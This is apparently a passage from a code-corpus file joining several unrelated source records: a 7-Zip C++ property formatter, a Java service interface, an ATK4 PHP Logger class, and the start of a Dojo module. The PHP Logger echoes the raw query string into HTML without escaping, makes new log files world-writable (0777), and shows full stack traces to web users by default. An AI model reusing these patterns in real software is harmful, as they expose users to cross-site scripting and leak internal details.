CHECK-NEXT: }\n"} {"text": "// PropIDUtils.cpp\r\n\r\n#include \"StdAfx.h\"\r\n\r\n#include \"PropIDUtils.h\"\r\n\r\n#include \"Common/IntToString.h\"\r\n#include \"Common/StringConvert.h\"\r\n\r\n#include \"Windows/FileFind.h\"\r\n#include \"Windows/PropVariantConversions.h\"\r\n\r\n#include \"../../PropID.h\"\r\n\r\nusing namespace NWindows;\r\n\r\nstatic UString ConvertUInt32ToString(UInt32 value)\r\n{\r\n wchar_t buffer[32];\r\n ConvertUInt64ToString(value, buffer);\r\n return buffer;\r\n}\r\n\r\nstatic void ConvertUInt32ToHex(UInt32 value, wchar_t *s)\r\n{\r\n for (int i = 0; i < 8; i++)\r\n {\r\n int t = value & 0xF;\r\n value >>= 4;\r\n s[7 - i] = (wchar_t)((t < 10) ? (L'0' + t) : (L'A' + (t - 10)));\r\n }\r\n s[8] = L'\\0';\r\n}\r\n\r\nUString ConvertPropertyToString(const PROPVARIANT &propVariant, PROPID propID, bool full)\r\n{\r\n switch(propID)\r\n {\r\n case kpidCTime:\r\n case kpidATime:\r\n case kpidMTime:\r\n {\r\n if (propVariant.vt != VT_FILETIME)\r\n return UString(); // It is error;\r\n FILETIME localFileTime;\r\n if (propVariant.filetime.dwHighDateTime == 0 &&\r\n propVariant.filetime.dwLowDateTime == 0)\r\n return UString();\r\n if (!::FileTimeToLocalFileTime(&propVariant.filetime, &localFileTime))\r\n return UString(); // It is error;\r\n return ConvertFileTimeToString(localFileTime, true, full);\r\n }\r\n case kpidCRC:\r\n {\r\n if(propVariant.vt != VT_UI4)\r\n break;\r\n wchar_t temp[12];\r\n ConvertUInt32ToHex(propVariant.ulVal, temp);\r\n return temp;\r\n }\r\n case kpidAttrib:\r\n {\r\n if(propVariant.vt != VT_UI4)\r\n break;\r\n UString result;\r\n UInt32 attributes = propVariant.ulVal;\r\n if (NFile::NFind::NAttributes::IsReadOnly(attributes)) result += L'R';\r\n if (NFile::NFind::NAttributes::IsHidden(attributes)) result += L'H';\r\n if (NFile::NFind::NAttributes::IsSystem(attributes)) result += L'S';\r\n if (NFile::NFind::NAttributes::IsDir(attributes)) result += L'D';\r\n if (NFile::NFind::NAttributes::IsArchived(attributes)) result += L'A';\r\n if (NFile::NFind::NAttributes::IsCompressed(attributes)) result += L'C';\r\n if (NFile::NFind::NAttributes::IsEncrypted(attributes)) result += L'E';\r\n return result;\r\n }\r\n case kpidDictionarySize:\r\n {\r\n if(propVariant.vt != VT_UI4)\r\n break;\r\n UInt32 size = propVariant.ulVal;\r\n if (size % (1 << 20) == 0)\r\n return ConvertUInt32ToString(size >> 20) + L\"MB\";\r\n if (size % (1 << 10) == 0)\r\n return ConvertUInt32ToString(size >> 10) + L\"KB\";\r\n return ConvertUInt32ToString(size);\r\n }\r\n }\r\n return ConvertPropVariantToString(propVariant);\r\n}\r\n"} {"text": "package cn.hellohao.service;\n\nimport cn.hellohao.pojo.Group;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * @author Hellohao\n * @version 1.0\n * @date 2019/8/19 16:29\n */\n@Service\npublic interface GroupService {\n List<Group> grouplist();\n Group idgrouplist(Integer id);\n Integer addgroup(Group group);\n Integer delegroup(Integer id);\n Integer setgroup(Group group);\n}\n"} {"text": "<?php\n/**\n * Undocumented\n */\nclass Logger extends AbstractController\n{\n/**\n * Logger class is implemented a more sophisticated and usable error handling.\n *\n * Normally all error messages are sent through the APP class by using one of two\n * ways:\n *\n * 1. throwing exception, which is caught by App class (unless you catch it yourself)p\n * 2. calling $this->fatal() which would throw exception for you (useful when calling\n * from PHP4 compatible components)\n *\n * additionally there are way to pass info and warnings by calling:\n *\n * $this->warning();\n * $this->info();\n * $this->debug();\n *\n * Debug information will reach logs only if debug mode is set.\n *\n * ==[ Controling debug info ]===================================================\n *\n * AModules3 support two ways to set debug mode. Global and Local.\n *\n * Global mode is set by setting $app->debug to true. Local mode is set by setting\n * particular object's $this->debug to true.\n *\n * In local mode only debug info generated by particular object will be sent\n * through\n *\n * This class does not manage debug modes, which is a task for App and all other\n * objects.\n *\n * $config['debug']=true; // turns on global debug mode.\n *\n *\n * ==[ Severity ]================================================================\n *\n * AModules3 have 4 severity types: debug, info, warning and fatal.\n *\n * Expected exceptions might be reported as warnings and uncaught exceptions\n * are fatal. Forms have their own validation and errors on the form is\n * completely separate system.\n *\n * Sample fatal errors:\n * - unable to execute query\n * - method not found\n * - mandatory data is not specified\n * fatal errors will automatically terminate application execution.\n *\n * Warnings messages:\n * - duplicate child added to the object with same name\n * - method is called without specifying important argument\n *\n * Sample info messages:\n * - user tried to access restricted page\n * - monthly log rotation routine finished successfuly\n * - user information is automatically converted (from format used in previous version)\n * Info messages are passed as strings without extended information.\n *\n * Debug messages\n * - called some function which might contain errors or being debuged\n * - user logged in or logged out\n * - when debuging, even more messages might be sent as debug()\n * WARNING: please keep debug information to the minimum. Debug information is\n * accompanied with extended information. Debug information is always saved into\n * logs or is available on the screen.\n *\n * AModules3 core tries not to produce any debug or info messages to keep files\n * clean. Even if it does, those calls might eventually be cleaned out.\n *\n *\n * ==[ Configuring logger ]======================================================\n * Logger uses 2 output destinations, and 3 ways to restrict output information.\n *\n * Output destination: stdout (webpage), logs\n * Restrict options: 'full', 'light', null\n *\n * stdout is different for App_CLI and App_Web classes. Web output might contact\n * tags or even some AJAX elements. Logs and App_CLI uses the same output\n * format.\n *\n * Web output for info, warning and debug messages relies on templates\n * but fatal messages are template independent.\n *\n * ==[ Output restriction ]======================================================\n * null: this option will surpress all output. When used with logs, you won't\n * even need an empty directory. Web output will be clean of any messages.\n *\n * If fatal error occurs, if 'null' is used with web output, you will see\n * message (public_error_message), instead of the actual error.\n *\n *\n * light: only message is outputed. Even if debug mode is on, backtraces and\n * additional information is stripped off. This method is best if you are using\n * application for intranet and know uses or if you are doing beta testing.\n * This output won't contain any sensitive information such as table names, field\n * names, actual data)\n *\n * when used with logs, each message takes one line.\n *\n * full: this will output all the information available including:\n * error message\n * line/file/function where error message occured (guessed)\n * additional information (such as last_query and error_message from DBlite)\n * complete backtrace.\n *\n * when used with logs, each message takes several lines.\n *\n * ==[ Activation ]==================================================================\n * To start using this class in your applicaion you should:\n *\n * $app->add('Logger');\n *\n * If you do not activate Logger, output will be similar to:\n * web_output='full';\n * log_output=null;\n *\n * ==[ Extending ]====================================================================\n *\n * You can extend this class to add additional features. Please notify me if you think\n * something essential is missing out\n *\n * romans@adevel.com\n *\n * Debug functions were contributed my mvs@adevel.com\n */\n\n // AModules3 compatibility\n public $owner;\n\n // Configuration;\n public $web_output = 'full'; // $config['logger']['web_output']\n public $log_output = null; // $config['logger']['log_output']\n\n public $public_error_message = null;\n // This message will be outputed to user in case of\n // fatal error. When running in production mode, you\n // shouldn't show any debug info to user, but log them\n // instead\n\n public $log_dir; // Directory where logs are created. It should be\n // used solely by AModules3. If not set, then\n // /var/log/atk4/<realm> will be used.\n //\n // You can change in $config['logger']['log_dir']\n\n protected $log_error_file; // File we are currently logging errors to\n protected $log_debug_file; // File we are currently logging errors to\n protected $log_info_file; // File we are currently logging errors to\n public $details = array();\n\n private $html_stdout = false;\n\n private $header_sent = 0;\n\n public $debug_log = ''; // Will be outputed at the end of the page\n private $debug_added = false; // no debug messages added yet\n\n public $filename;\n public $err_message;\n public $_current_ip;\n public $_prev_exec_time;\n\n public function init()\n {\n parent::init();\n $this->debug_log = session_id() ? $this->recall('debug_log', '') : '';\n if (session_id()) {\n $this->forget('debug_log');\n }\n $this->debug_log .= '[<font color=red>Debug log from '.date('d.m.Y H:m:s').' to '.\n $_SERVER['QUERY_STRING'].\"</font>] - debug started<br>\\n\";\n $this->debug_added = false;\n\n register_shutdown_function(array($this, 'showDebugInfo'));\n\n $this->log_output = $this->app->getConfig('logger/log_output', null);\n $this->web_output = $this->app->getConfig('logger/web_output', 'full');\n\n if (!$this->web_output) {\n $this->public_error_message = $this->app\n ->getConfig(\n 'debug_public_error_message',\n 'We were unable to deal with your request. Please retry later.'\n );\n }\n\n $this->log_dir = $this->app->getConfig(\n 'logger/log_dir',\n '/var/log/atk4/'.$this->app->name\n );\n\n if ($this->log_output) {\n $this->openLogFile('error');\n $this->openLogFile('debug');\n $this->openLogFile('info');\n if (rand(1, 50) == 1) {\n $this->cleanupLogDirectory();\n }\n }\n\n if ($this->log_output == 'full' || $this->web_output == 'full') {\n // Full logging will require some preparations\n $this->gatherDetails();\n }\n\n if ($this->app instanceof App_Web) {\n $this->html_stdout = true;\n }\n\n $this->app->addHook('caught-exception', array($this, 'caughtException'));\n $this->app->addHook('output-fatal', array($this, 'outputFatal'));\n $this->app->addHook('output-warning', array($this, 'outputWarning'));\n $this->app->addHook('output-info', array($this, 'outputInfo'));\n $this->app->addHook('output-debug', array($this, 'outputDebug'));\n\n $this->app->debug('Logger is initialized');\n }\n public function showDebugInfo()\n {\n if (!$this->debug_added) {\n return;\n }\n if (@$this->app->not_html) {\n // We may not output anything, because this will screw up. Save debug output to session\n if (session_id()) {\n $this->memorize('debug_log', $this->debug_log);\n }\n } else {\n echo $this->debug_log;\n }\n }\n public function gatherDetails()\n {\n // Get IP address\n if (isset($_SERVER['REMOTE_ADDR'])) {\n //FIXME: generates warning - array_shift wants variable\n //$this->details['IP Address']=(isset($_SERVER[\"HTTP_X_FORWARDED_FOR\"])\n // ? array_shift(explode(',', $_SERVER[\"HTTP_X_FORWARDED_FOR\"]))\n // : $_SERVER[\"REMOTE_ADDR\"]);\n null;\n }\n\n if (isset($_SERVER['QUERY_STRING'])) {\n $this->details['Query String'] = $_SERVER['QUERY_STRING'];\n }\n if (isset($_SERVER['REDIRECT_SCRIPT_URI'])) {\n $this->details['Original Query'] = $_SERVER['REDIRECT_SCRIPT_URI'];\n }\n if (isset($_SERVER['HTTP_REFERER'])) {\n $this->details['Referer'] = $_SERVER['HTTP_REFERER'];\n }\n if (isset($_SERVER['HTTP_USER_AGENT'])) {\n $this->details['Version'] = $_SERVER['HTTP_USER_AGENT'];\n }\n if (isset($_SERVER['SERVER_PORT'])) {\n $this->details['Port'] = $_SERVER['SERVER_PORT'];\n }\n }\n\n public function findFrame($function_name, $shift = 0)\n {\n $backtrace = debug_backtrace();\n while ($bt = array_shift($backtrace)) {\n if ($bt['function'] == $function_name) {\n while ($shift--) {\n $bt = array_shift($backtrace);\n }\n\n return $bt;\n }\n }\n\n return array();\n }\n public $recskip = array();\n public function showRenderTree($e, $obj)\n {\n if (in_array($obj->name, $this->recskip)) {\n echo '..recursion('.$obj.')';\n\n return;\n };\n $this->recskip[] = $obj;\n if ($e->owner == $obj || $e->owner->owner == $obj || $e->owner->owner->owner == $obj) {\n echo '<font color=\"red\">'.$obj->__toString().'</font>';\n } else {\n echo $obj->__toString();\n }\n if ($obj->elements) {\n echo '<ul>';\n foreach ($obj->elements as $name => $object) {\n echo '<li>'.$name.': ';\n $this->showRenderTree($e, $object);\n echo '</li>';\n }\n echo '</ul>';\n }\n }\n public function logCaughtException($e)\n {\n if (!$this->log_output) {\n return;\n }\n if (method_exists($e, 'getMyTrace')) {\n $trace = $e->getMyTrace();\n } else {\n $trace = $e->getTrace();\n }\n\n if (isset($e->shift)) {\n $frame = $e->my_backtrace[$e->shift];\n } else {\n $frame = array('file' => 'unknown', 'line' => 'unknown');\n }\n\n $this->logLine($this->txtLine(get_class($e).': '.$e->getMessage(), $frame), 2, 'error', $trace);\n if (method_exists($e, 'getAdditionalMessage')) {\n $this->logLine($e->getAdditionalMessage(), 2, 'error');\n }\n\n if (isset($e->more_info)) {\n $this->logLine(\"Additional information:\\n\".\n $this->print_r($e->more_info, '', '', '* ', \"\\n\", ' '), 2, 'error');\n }\n }\n public function caughtException($caller, $e, $last_exception = true)\n {\n\n // compatibility with \\atk4\\core\\Exception\n if ($e instanceof \\atk4\\core\\Exception) {\n $e->more_info = $e->getParams();\n }\n\n $this->logCaughtException($e);\n if (!$this->web_output) {\n echo $this->public_error_message;\n exit;\n }\n\n if (PHP_SAPI === 'cli') {\n if (posix_isatty(STDOUT)) {\n $red = \"\\033[0;31m\";\n $yellow = \"\\033[1;33m\";\n $end = \"\\033[0m\";\n } else {\n $red = $end = $yellow = '';\n }\n\n if (isset($e->more_info)) {\n echo '==[ ';\n echo get_class($e).': '.$red.$e->getMessage().$end.\" ]===========\\n\\n\";\n echo \"Additional information:\\n\".\n $this->print_r($e->more_info, '', '', $yellow.'* '.$end, \"\\n\", ' ');\n } else {\n echo $red.$e->getMessage().$end.\"\\n\";\n }\n\n exit($e->getCode() ?: 255);\n }\n\n if (method_exists($e, 'getHTML')) {\n ?><!DOCTYPE html>\n<html lang=\"en\"><head>\n <title>Exception: <?php echo htmlspecialchars($e->getMessage())?></title>\n<head><body>\n<?php echo $e->getHTML();\n ?>\n</body></head>\n<?php\n exit;\n }\n\n if ($_GET[$this->name.'_debug'] == 'rendertree') {\n echo '<h2>Object Tree</h2>';\n try {\n $this->showRenderTree($e, $this->app);\n } catch (Exception $e) {\n echo '<h1>Exception while trying to render tree:</h1>';\n //unset($_GET[$this->name.'_debug']);\n //$this->app->caughtException($e);\n }\n }\n\n $o = '';\n $o .= '<h2>Application Error: '.htmlspecialchars($e->getMessage()).\"</h2>\\n\";\n $o .= \"<div style='color:red;font-weight:bold'>\".get_class($e).', code: '.$e->getCode().'</div>';\n if (isset($e->more_info)) {\n $o .= '<b>Additional information:</b><br />';\n $o .= \"<div style='border: 1px solid black; padding: 3px; text-align: left; \".\n \"font-family: verdana; font-size: 10px;'>\\n\";\n $o .= $this->print_r($e->more_info, '<ul>', '</ul>', '<li>', '</li>', ' ');\n $o .= '</div>';\n }\n if (method_exists($e, 'getMyFile')) {\n $o .= \"<div style='color:blue'\".$e->getMyFile().':'.$e->getMyLine().'</div>';\n }\n\n $previous = isset($e->by_exception) ? $e->by_exception : ($e->getPrevious() ?: null);\n\n // add stacktrace only for initial / first exception\n if (!$previous) {\n if (method_exists($e, 'getMyTrace')) {\n $o .= $this->backtrace(null, $e->getMyTrace());\n } else {\n $o .= $this->backtrace(@$e->shift, $e->getTrace());\n }\n }\n\n // recursively shows all previous exceptions\n if ($previous) {\n //$o .= '<h3>This error was triggered by the following error:</h3>';\n ob_start();\n $this->caughtException($caller, $previous, false);\n $o .= ob_get_clean();\n }\n\n if ($last_exception) {\n $o .= \"<p>Note: To hide this information from your users, add \\$config['logger']['web_output']=false \".\n \"to your config.php file. Refer to documentation on 'Logger' for alternative logging options</p>\";\n }\n\n if ((isset($_POST['ajax_submit'])\n || $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest')\n && !$_GET['cut_page']\n && !$_GET['cut_object']\n && !$_GET['cut_region']\n && $last_exception\n ) {\n $this->displayError($o);\n } else {\n echo $o;\n }\n\n if ($last_exception) {\n exit;\n }\n }\n\n public function displayError($o)\n {\n if (isset($this->app->jquery)) {\n $this->app->js()->univ()->dialogError($o, array('width' => 900, 'height' => 500))->execute();\n } else {\n echo strip_tags($o);\n }\n }\n /**\n * Returns HTML formatted $key array.\n *\n * @param mixed $key\n * @param string $gs List start tag\n * @param string $ge List end tag\n * @param string $ls Item start tag\n * @param string $le Item end tag\n * @param string $ind Identation\n *\n * @return string\n */\n public function print_r($key, $gs, $ge, $ls, $le, $ind = ' ', $max_depth = 6)\n {\n $o = '';\n if (strlen($ind) > $max_depth) {\n return;\n }\n if (is_array($key)) {\n $o = $gs;\n foreach ($key as $a => $b) {\n $o .= $ind.$ls.$a.': '.$this->print_r($b, $gs, $ge, $ls, $le, $ind.' ').$le;\n }\n $o .= $ge;\n } elseif ($key instanceof Closure) {\n $o .= '[closure]';\n } elseif (is_object($key)) {\n $o .= 'object('.get_class($key).'): ';\n if (method_exists($key, '__debugInfo')) {\n $o .= $this->print_r($key->__debugInfo(), $gs, $ge, $ls, $le, $ind.' ').$le;\n }\n } else {\n $o .= $gs ? htmlspecialchars($key) : $key;\n }\n\n return $o;\n }\n public function outputWarning($caller, $msg, $shift = 0)\n {\n // first, let's see if we should log this\n $frame = $this->findFrame('warning', $shift);\n if ($this->log_output) {\n $this->logLine($this->txtLine(\"warning: $msg\", $frame), 'warning', 'error');\n }\n if (!$this->web_output) {\n return true;\n } else {\n echo $this->html_stdout ?\n $this->htmlLine(\"$msg\", $frame, 'warning') :\n $this->txtLine(\"$msg\", $frame, 'warning');\n\n return true;\n }\n }\n public function outputDebug($front, $caller, $msg, $shift = 0)\n {\n // first, let's see if we should log this\n $frame = $this->findFrame('debug');\n if ($this->log_output) {\n $this->logLine($this->txtLine(\"info: $msg\", $frame), 'fatal', 'debug');\n }\n if (!$this->web_output) {\n return true;\n } else {\n $this->debug_added = true;\n $this->debug_log .= $this->html_stdout ?\n $this->htmlLine(\"$msg\", $frame, 'debug') :\n $this->txtLine(\"$msg\", $frame, 'debug');\n\n return true;\n }\n }\n public function outputInfo($caller, $msg, $shift = 0, $nohtml = false)\n {\n if ($this->log_output) {\n $this->logLine($this->txtLine(\"info: $msg\"), null, 'info');\n }\n if ($this->web_output && !$nohtml) {\n echo $this->html_stdout ?\n $this->htmlLine(\"$msg\", null, 'info') :\n $this->txtLine(\"$msg\", null, 'info');\n }\n\n return true;\n }\n public function outputFatal($caller, $msg, $shift = 0)\n {\n // first, let's see if we should log this\n $frame = $this->findFrame('fatal');\n if ($this->log_output) {\n $this->logLine($this->txtLine(\"fatal: $msg\", $frame), 'fatal', 'error');\n }\n if (!$this->web_output) {\n echo $this->public_error_message;\n } else {\n if ($this->html_stdout) {\n echo \"<h2>Fatal error</h2>\\n\";\n }\n echo $this->html_stdout ?\n $this->htmlLine(\"$msg\", $frame, 'fatal') :\n $this->txtLine(\"$msg\", $frame, 'fatal');\n\n if ($this->html_stdout) {\n echo $this->backtrace('fatal');\n } else {\n echo \"Stack trace:\\n\";\n echo $this->txtBacktrace('fatal');\n }\n }\n exit;\n }\n public function htmlLine($msg, $frame = null, $prefix = null)\n {\n if (!$frame) {\n return \"<font style='font-family: verdana; font-size:10px'><font color=blue>warning: </font> \".\n \"<font color=red><b>$msg</b></font></font><br>\";\n } else {\n $errfile = dirname($frame['file']).'/<b>'.basename($frame['file']).'</b>';\n\n return \"<font style='font-family: verdana; font-size:10px'><font color=blue>$errfile:\".$frame['line'].\n '</font> <font color=red>'.($prefix ? \"$prefix: \" : '').\"<b>$msg</b></font></font><br>\";\n }\n }\n public function txtLine($msg, $frame = null, $prefix = null)\n {\n if (!$frame) {\n return \"$prefix: $msg\\n\";\n } else {\n return basename($frame['file']).' on line '.$frame['line'].', path: '.dirname($frame['file']).\"\\n\\n\".\n ($prefix ? \"$prefix: \" : '').\"$msg\\n\\n\";\n }\n }\n public function logLine($msg, $shiftfunc = null, $severity = 'info', $trace = null)\n {\n $log_file = 'log_'.$severity.'_file';\n if (!isset($this->$log_file)) {\n $this->openLogFile($severity);\n }\n if ($this->log_output === 'full' && $severity == 'error') {\n if (!$this->header_sent++) {\n fputs($this->$log_file, \"\\n\\n\".\n \"============================================================\\n\".\n \"$msg\".\n \"------------------------------------------------------------\\n\".\n 'Date: '.date('d-M-Y H:i:s').\"\\n\");\n foreach ($this->details as $key => $val) {\n fputs($this->$log_file, \"$key: $val\\n\");\n }\n fputs(\n $this->$log_file,\n \"------------------------------------------------------------\\n\".\n \" Stack trace\\n\".\n $this->txtBacktrace($shiftfunc, $trace).\n \"\\n\"\n );\n } else {\n fputs($this->$log_file, $msg);\n }\n } elseif ($this->log_output) {\n fputs($this->$log_file, '['.date('d-M-Y H:i:s').\"] $msg\");\n } else {\n return;\n }\n fflush($this->$log_file);\n }\n public function logVar($var, $msg = '', $shiftfunc = null, $severity = 'debug')\n {\n //creating an $msg from variable\n $msg .= '('.gettype($var).'):';\n if (is_array($var) || is_object($var)) {\n $msg .= print_r($var, true);\n } else {\n $msg .= $var;\n }\n $this->logLine($msg.\"\\n\", $shiftfunc, $severity);\n }\n public function logException($e)\n {\n // logs exception from the catch statement\n // contains code from Logger::caughtException(), as this code won't launch\n // if exception is caught\n $frame = $e->my_backtrace[$e->shift - 1];\n $this->logLine($this->txtLine(get_class($e).': ('.$e->getCode().') '.$e->getMessage(), $frame), 2, 'error');\n\n return $this;\n }\n public function openLogFile($severity = 'error')\n {\n if (!is_dir($this->log_dir)) {\n // Directory is not writable, let's first try to create it\n if (!mkdir($this->log_dir, 0750)) {\n throw new BaseException(\"Unable to create $this->log_dir for log output\");\n }\n }\n\n $filename = 'am3_'.$severity.'_log';\n $full_filename = $this->log_dir.DIRECTORY_SEPARATOR.$filename;\n if (!is_writable($full_filename) && !is_writable($this->log_dir)) {\n throw new BaseException(\"Log file is not writable and seems I won't be able to create it: $full_filename\");\n }\n if (is_link($full_filename)) {\n throw new BaseException('Log file is a symlink. Are you trying to make me overwrite somethingn?');\n }\n\n ini_set($severity.'_log', $full_filename);\n\n //$full_filename=tempnam($this->log_dir,$filename);\n $new_file = (file_exists($full_filename)) ? false : true;\n $log_file = \"log_$severity\".'_file';\n $this->$log_file = fopen($full_filename, 'a');\n if (!$this->$log_file) {\n throw new BaseException(\"Cannot open $severity log file\");\n }\n if ($new_file) {\n chmod($full_filename, 0777);\n } //\n }\n public function writeLogMessage()\n {\n }\n public function backtrace($sh = null, $backtrace = null)\n {\n $output = \"<div >\\n\";\n // TODO: allow extending backtrace option, so that\n $output .= \"<b>Stack trace:</b><br />\".\n \"<table style='border: 1px solid black; padding: 3px; text-align: left; font-family: verdana; \".\n \"font-size: 10px' width=100% cellspacing=0 cellpadding=0 border=0>\\n\".\n \"<tr><th align='right'>File</th><th>&nbsp;#&nbsp;</th><th>Object Name</th><th>Stack Trace</th></tr>\\n\";\n if (!isset($backtrace)) {\n $backtrace = debug_backtrace();\n }\n if ($sh) {\n $sh -= 2;\n }\n\n $n = 0;\n foreach ($backtrace as $bt) {\n ++$n;\n $args = '';\n if (!isset($bt['args'])) {\n continue;\n }\n foreach ($bt['args'] as $a) {\n if (!empty($args)) {\n $args .= ', ';\n }\n switch (gettype($a)) {\n case 'integer':\n case 'double':\n $args .= $a;\n break;\n case 'string':\n $a = htmlspecialchars(substr($a, 0, 128)).((strlen($a) > 128) ? '...' : '');\n $args .= \"\\\"$a\\\"\";\n break;\n case 'array':\n $args .= 'Array('.count($a).')';\n break;\n case 'object':\n $args .= 'Object('.get_class($a).')';\n break;\n case 'resource':\n $args .= 'Resource('.strstr((string) $a, '#').')';\n break;\n case 'boolean':\n $args .= $a ? 'True' : 'False';\n break;\n case 'NULL':\n $args .= 'Null';\n break;\n default:\n $args .= 'Unknown';\n }\n }\n\n $ds = DIRECTORY_SEPARATOR;\n if (($sh == null\n && (\n strpos($bt['file'], $ds.'atk4'.$ds.'lib'.$ds) === false &&\n strpos($bt['file'], $ds.'data'.$ds.'src'.$ds) === false &&\n strpos($bt['file'], $ds.'core'.$ds.'src'.$ds) === false &&\n strpos($bt['file'], $ds.'dsql'.$ds.'src'.$ds) === false && $bt['file'] != null\n ))\n || (!is_int($sh) && $bt['function'] == $sh)\n ) {\n $sh = $n;\n }\n\n $name = isset($bt['object']->name) ? $bt['object']->name : ($bt['object'] ? get_class($bt['object']) : '');\n $output .= '<tr>'.\n '<td valign=\"top\" align=\"right\"><font color=\"'.($sh == $n ? 'red' : 'blue').'\">'.\n htmlspecialchars(dirname($bt['file'])).'/'.\n '<b>'.htmlspecialchars(basename($bt['file'])).'</b></font></td>'.\n '<td valign=\"top\" nowrap>'.\n '<font color=\"'.($sh == $n ? 'red' : 'blue').'\">:'.$bt['line'].'</font>&nbsp;</td>'.\n '<td>'.($bt['object'] ? $name : '').'</td>'.\n '<td valign=\"top\"><font color=\"'.($sh == $n ? 'red' : 'green').'\">'.\n ($bt['object'] ? get_class($bt['object']) : '').\n $bt['type'].'<b>'.$bt['function'].'</b>('.$args.')</font></td></tr>'.\"\\n\";\n }\n $output .= \"</table></div>\\n\";\n\n return $output;\n }\n public function cleanupLogDirectory()\n {\n // we should try to take care of our own log file cleanup\n }\n public function txtBacktrace($sh = null, $backtrace = null)\n {\n if (!isset($backtrace)) {\n $backtrace = debug_backtrace();\n }\n $output = '';\n $n = 0;\n foreach ($backtrace as $bt) {\n ++$n;\n $args = '';\n if (!isset($bt['args'])) {\n $bt['args'] = array();\n }\n foreach ($bt['args'] as $a) {\n if (!empty($args)) {\n $args .= ', ';\n }\n switch (gettype($a)) {\n case 'integer':\n case 'double':\n $args .= $a;\n break;\n case 'string':\n $a = (substr($a, 0, 128)).((strlen($a) > 128) ? '...' : '');\n $args .= \"\\\"$a\\\"\";\n break;\n case 'array':\n $args .= 'Array('.count($a).')';\n break;\n case 'object':\n $args .= 'Object('.get_class($a).')';\n break;\n case 'resource':\n $args .= 'Resource('.strstr($a, '#').')';\n break;\n case 'boolean':\n $args .= $a ? 'True' : 'False';\n break;\n case 'NULL':\n $args .= 'Null';\n break;\n default:\n $args .= 'Unknown';\n }\n }\n\n if ($sh) {\n if (is_int($sh)) {\n if ($sh > 0) {\n --$sh;\n continue;\n }\n } elseif ($bt['function'] != $sh) {\n $sh = null;\n continue;\n }\n }\n\n $output .= $bt['file'].':'.$bt['line'].' ';\n $output .= \"{$bt['class']}{$bt['type']}{$bt['function']}($args)\\n\";\n }\n\n return $output;\n }\n\n /**\n * Debug functions\n */\n public function Debug($filename)\n {\n if (is_null($filename)) {\n $filename = dirname(__FILE__).DIRECTORY_SEPARATOR.'debug.log';\n }\n\n $this->filename = $filename;\n\n if (isset($_SERVER['REMOTE_ADDR'])) {\n if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {\n $a = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);\n $this->_current_ip = array_shift($a);\n } else {\n $this->_current_ip = $_SERVER['REMOTE_ADDR'];\n }\n }\n }\n\n public function _sec2time($sec)\n {\n $res = '';\n if ($sec < 0) {\n $sec = -$sec;\n $res = '-'.$res;\n }\n\n if ($sec != floor($sec)) {\n $msec = round(($sec - floor($sec)) * 1000);\n\n $msec = '.'.str_pad($msec, 3, '0', STR_PAD_LEFT);\n $sec = floor($sec);\n } else {\n $msec = '';\n }\n\n $hours = floor($sec / 3600);\n $min = floor(($sec - $hours * 3600) / 60);\n $sec = $sec - $hours * 3600 - $min * 60;\n\n if ($hours > 0) {\n $res .= str_pad($hours, 2, '0', STR_PAD_LEFT).':';\n }\n\n if (($hours > 0) || ($min > 0)) {\n $res .= str_pad($min, 2, '0', STR_PAD_LEFT).':';\n }\n\n $res .= str_pad($sec, 2, '0', STR_PAD_LEFT).$msec;\n\n return $res;\n }\n\n public function _microtime_float()\n {\n list($usec, $sec) = explode(' ', microtime());\n\n return (float) $usec + (float) $sec;\n }\n\n // print\n public function p($message, $file = null, $line = null)\n {\n $res = true;\n\n $time_diff_str = '';\n if (!empty($this->_prev_exec_time)) {\n $time_diff = $this->_microtime_float() - $this->_prev_exec_time;\n if ($time_diff < 1) {\n $time_diff_str = $this->_sec2time($time_diff);\n }\n }\n\n $details = ((empty($this->_current_ip)) ? '' : $this->_current_ip.' - ').\n ((!empty($file)) ? basename($file).' (line '.$line.')' : '');\n\n if (!empty($details)) {\n $details = ' ***** '.$details.' *****';\n }\n\n $message = '['.date('d-M-Y H:i:s').'] '.$time_diff_str.$details.\n \"\\n\\n\".$message.\"\\n\\n\";\n\n $new_file = (file_exists($this->filename)) ? false : true;\n $fh = @fopen($this->filename, 'a');\n\n if (($fh !== false) && (is_resource($fh))) {\n @flock($fh, LOCK_EX);\n\n if (!@fwrite($fh, $message)) {\n $this->err_message = \"Cannot write to file ($this->filename)\";\n error_log($this->err_message.' in '.__FILE__.' on line '.__LINE__, 0);\n $res = false;\n }\n @flock($fh, LOCK_UN);\n @fclose($fh);\n\n if ($new_file) {\n chmod($this->filename, 0777);\n }\n } else {\n $this->err_message = 'Cannot open file ('.$this->filename.')'.\n ' in '.__FILE__.' on line '.__LINE__.' for save message: '.\"\\n\".$message;\n error_log($this->err_message, 0);\n $res = false;\n }\n\n $this->_prev_exec_time = $this->_microtime_float();\n\n return $res;\n }\n}\n"} {"text": "define(\"dojo/io/script\", [\n\t\"../_base/connect\", /*===== \"../_base/declare\", =====*/ \"../_base/kernel\", \"../_base/lang\",\n\t\"../sniff\", \"../_base/window\",\"../_base/xhr\",\n\t\"../dom\", \"../dom-construct\", \"../request/script\"\n], function(connect, /*===== declare, =====*/ kernel, lang, has, win, xhr, dom, domConstruct, _script){\n\n\t// module:\n\t//\t\tdojo/io/script\n\n\tkernel.deprecated(\"dojo/io/script\", \"Use dojo/request/script.\", \"2.0\");\n\n\t/*=====\n\tvar __ioArgs = declare(kernel.__IoArgs, {\n\t\t// summary:\n\t\t//\t\tAll the properties described in the dojo.__ioArgs type, apply to this\n\t\t//\t\ttype as well, EXCEPT \"handleAs\". It is not applicable to\n\t\t//\t\tdojo/io/script.get() calls, since it is implied by the usage of\n\t\t//\t\t\"jsonp\" (response will be a JSONP call returning JSON)\n\t\t//\t\tor the response is pure JavaScript defined in\n\t\t//\t\tthe body of the script that was attached.\n\t\t// callbackParamName: String\n\t\t//\t\tDeprecated as of Dojo 1.4 in favor of \"jsonp\", but still supported for\n\t\t//\t\tlegacy code. See notes for jsonp property.\n\t\t// jsonp: String\n\t\t//\t\tThe URL parameter name that indicates the JSONP callback string.\n\t\t//\t\tFor instance, when using Yahoo JSONP calls it is normally,\n\t\t//\t\tjsonp: \"callback\". For AOL JSONP calls it is normally\n\t\t//\t\tjsonp: \"c\".\n\t\t// checkString: String\n\t\t//\t\tA string of JavaScript that when evaluated like so:\n\t\t//\t\t\"typeof(\" + checkString + \") != 'undefined'\"\n\t\t//\t\tbeing true means that the script fetched has been loaded.\n\t\t//\t\tDo not use this if doing a JSONP type of call (use 